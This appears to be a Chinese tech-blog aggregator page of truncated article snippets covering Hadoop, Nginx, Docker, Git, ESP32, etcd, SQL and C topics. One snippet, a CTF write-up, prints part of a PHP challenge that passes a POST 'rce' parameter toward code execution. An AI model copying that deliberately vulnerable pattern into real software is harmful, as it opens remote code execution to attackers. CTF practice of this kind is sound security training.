1 背景 由于使用了一种新的航电设备组合&#xff0c;在调试无人机起飞的时候遇到了之前没有遇到的问题。之前用的飞控&#xff08;Pixhawk 6c&#xff09;和电调&#xff08;Hobbywing X-Rotor 40A&#xff09;&#xff0c;在QGC里按默认参数配置来基本就能平稳飞行&#xff0…...

Android studio配置Flutter开发环境报错问题解决

博主前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住也分享一下给大家 &#x1f449;点击跳转到教程 报错问题截图 报错原因已经给出&#xff1a; You need Java 11 or higher to build your app with this version of G…...

2023.11.18 -自用hadoop高可用环境搭建命令

启动hadoop高可用环境 # 1.先恢复快照到高可用环境 # 2.三台服务器启动zookeeper服务 [rootnode1 ~]# zkServer.sh start [rootnode2 ~]# zkServer.sh start [rootnode3 ~]# zkServer.sh start 查看服务状态: [rootnode]# zkServer.sh status 关闭zk服务的命令是: [rootnode]# …...

【Linux】常用系统工作命令

一、Linux文档目录结构 在Linux系统中&#xff0c;目录、字符设备、套接字、硬盘、光驱、打印机等都被抽象成文件形式&#xff0c;“Linux系统中一切都是文件”。Linux系统中的一切文件都是从"根"目录&#xff08;/&#xff09;开始的&#xff0c;并按照文件系统层次…...

深入理解网络协议:通信世界的基石

&#x1f482; 个人网站:【 海拥】【神级代码资源网站】【办公神器】&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交流的小伙伴&#xff0c;请点击【全栈技术交流群】 在当今数字化时代&#xff0c;网络协议是连接世…...

PL/SQL编程

一、Oracle常用函数 concat&#xff1a;用于连接两个字符串。 CONCAT(Oraok, .com) -- Result: Oraok.com ceil&#xff1a;小数点向上取整。 secect ceil(7.3) from dual --Result: 8 dual表是oracle系统为计算设计的一张临时表 select sysdate as 系统日期 from dual…...

Prompt提示词——什么是CRISPE框架?QCIPSPE框架?

框架介绍 【CRISPE】框架 是由 Matt Nigh 提出并发布的提示词书写框架&#xff0c;共由五部分组成。 这个框架&#xff08;CRISPE&#xff09;主要包括五个部分&#xff0c;用于指导用户向ChatGPT提问。首先&#xff0c;通过设定ChatGPT的角色&#xff08;Capacity and Role&…...

Nginx的核心配置文件

Nginx的核心配置文件 学习Nginx首先需要对它的核心配置文件有一定的认识&#xff0c;这个文件位于Nginx的安装目录/usr/local/nginx/conf目录下&#xff0c;名字为nginx.conf 详细配置&#xff0c;可以参考resources目录下的<<nginx配置中文详解.conf>> Nginx的核…...

Java,集合框架,关于Collection接口(子接口List和Set)

目录 数组储存多个数据方面的特点&#xff1a; Java集合框架体系&#xff1a;&#xff08;Java.util包下&#xff09; Collection接口中的方法测试&#xff1a; 迭代器&#xff08;Iterator&#xff09;的作用&#xff1a;用来遍历集合元素。 增强for循环&#xff08;即for…...

已安装的nginx追加ssl模块

Nginx开启SSL模块1 切换到源码包&#xff1a; cd /usr/local/src/nginx-1.11.3 2 查看nginx原有的模块 /usr/local/nginx/sbin/nginx -V 在configure arguments:后面显示的原有的configure参数如下&#xff1a; –prefix/usr/local/nginx --with-http_stub_status_module …...

大语言模型|人工智能领域中备受关注的技术

个人主页&#xff1a;【&#x1f60a;个人主页】 系列专栏&#xff1a;【❤️其他领域】 文章目录 前言关于大语言模型大语言模型是什么&#xff1f;大语言模型有什么用?文案写作知识库回答文本分类代码生成 AWS 如何通过 LLM 提供帮助&#xff1f;Amazon BedrockAmazon SageM…...

Docker之DockerFile解析

DockerFile解析 是什么 Dockerfile是用来构建Docker镜像的文本文件&#xff0c;是由一条条构建镜像所需的指令和参数构成的脚本。 概述 官网 https://docs.docker.com/engine/reference/builder/ 构建三步骤 编写Dockerfile文件 docker build命令构建镜像 docker run依镜像运…...

NSSCTF第13页(2)

[HNCTF 2022 Week1]Challenge__rce 提示?hint 访问看到了源码 <?php error_reporting(0); if (isset($_GET[hint])) { highlight_file(__FILE__); } if (isset($_POST[rce])) { $rce $_POST[rce]; if (strlen($rce) < 120) { if (is_string($rce…...

基于吉萨金字塔建造算法优化概率神经网络PNN的分类预测 - 附代码

基于吉萨金字塔建造算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于吉萨金字塔建造算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于吉萨金字塔建造优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&a…...

Git详解及 github使用

1.1 关于版本控制 开始之前先看一个没有版本控制的例子 1.1.1 本地版本控制 本地版本控制系统 许多人习惯用复制整个项目目录的方式来保存不同的版本&#xff0c;或许还会改名加上备份时间以示区别。这么做唯一的 好处就是简单&#xff0c;但是特别容易犯错。有时候会混淆所在…...

iOS源码-工程目录讲解

1、 工程目录 1.1、xib 主要的界面渲染控制&#xff0c;ios开发常用的界面&#xff0c;可以在这里快速开发出来 1.2、base 基本的类&#xff0c;子类继承base类&#xff0c;就具备父类的方法&#xff0c;无需在重写 1.3、util 基础的类一些&#xff0c;处理时间等 1.4、…...

ESP32 Arduino实战协议篇-搭建独立的 Web 服务器

在此项目中,您将创建一个带有 ESP32 的独立 Web 服务器,该服务器使用 Arduino IDE 编程环境控制输出(两个 LED)。Web 服务器是移动响应的,可以使用本地网络上的任何浏览器设备进行访问。我们将向您展示如何创建 Web 服务器以及代码如何逐步工作。 项目概况 在直接进入项目…...

多维时序 | MATLAB实现PSO-BiLSTM-Attention粒子群优化双向长短期记忆神经网络融合注意力机制的多变量时间序列预测

多维时序 | MATLAB实现PSO-BiLSTM-Attention粒子群优化双向长短期记忆神经网络融合注意力机制的多变量时间序列预测 目录 多维时序 | MATLAB实现PSO-BiLSTM-Attention粒子群优化双向长短期记忆神经网络融合注意力机制的多变量时间序列预测预测效果基本介绍模型描述程序设计参考…...

【开源】基于Vue.js的在线课程教学系统的设计和实现

项目编号&#xff1a; S 014 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S014&#xff0c;文末获取源码。} 项目编号&#xff1a;S014&#xff0c;文末获取源码。 目录 一、摘要1.1 系统介绍1.2 项目录屏 二、研究内容2.1 课程类型管理模块2.2 课程管理模块2…...

CentOS 安装etcd集群 —— 筑梦之路

环境说明 192.168.1.11 192.168.1.12 192.168.1.13 yum在线安装 yum install etcd -y #etcd01 cat > /etc/etcd/etcd.conf <<EOF ETCD_NAMEetcd01 ETCD_LISTEN_PEER_URLS"http://0.0.0.0:2380" ETCD_LISTEN_CLIENT_URLS"http://0.0.0.0:2379&quo…...

mysql 实现去重

个人网站 首发于公众号小肖学数据分析 1、试题描述 数据表user_test如下&#xff0c;请你查询所有投递用户user_id并且进行去重展示&#xff0c;查询结果和返回顺序如下 查询结果和返回顺序如下所示 解题思路&#xff1a; (1) 对user_id列直接去重&#xff1a; &#xff…...

类模板成员函数类外实现

#include<iostream> #include<string> using namespace std;//类模板成员函数类外实现 template<class T1,class T2> class Person { public:Person(T1 name,T2 age); // { // this->m_namename; // this->m_ageage; // }void showPerson(); // { /…...

多svn仓库一键更新脚本分享

之前分享过多git仓库一键更新脚本&#xff0c;本期就分享下svn仓库的一键更新脚本 1、首先需要设置svn为可执行命令行 打开SVN安装程序&#xff0c;选择modify&#xff0c;然后点击 command client tools&#xff0c;安装命令行工具 2、update脚本 echo 开始更新SVN目录&…...

C语言程序设计(入门)

考虑到期末临近&#xff0c;大一的学生该考c语言程序设计了吧&#xff0c;整一小篇给爱摆烂的小萌新复习一下降低挂科的风险 1. 1.1 main 函数 int main() {// 程序的入口&#xff0c;执行从这里开始return 0; // 表示程序正常结束 }1.2 语句和分号 C语言中的语句以分号结束…...

短视频账号矩阵系统源码

短视频账号矩阵系统源码搭建步骤包括以下几个方面&#xff1a; 1. 确定账号类型和目标受众&#xff1a;确定要运营的短视频账号类型&#xff0c;如搞笑、美食、美妆等&#xff0c;并明确目标受众和定位。 2. 准备账号资料&#xff1a;准备相关资质和资料&#xff0c;如营业执照…...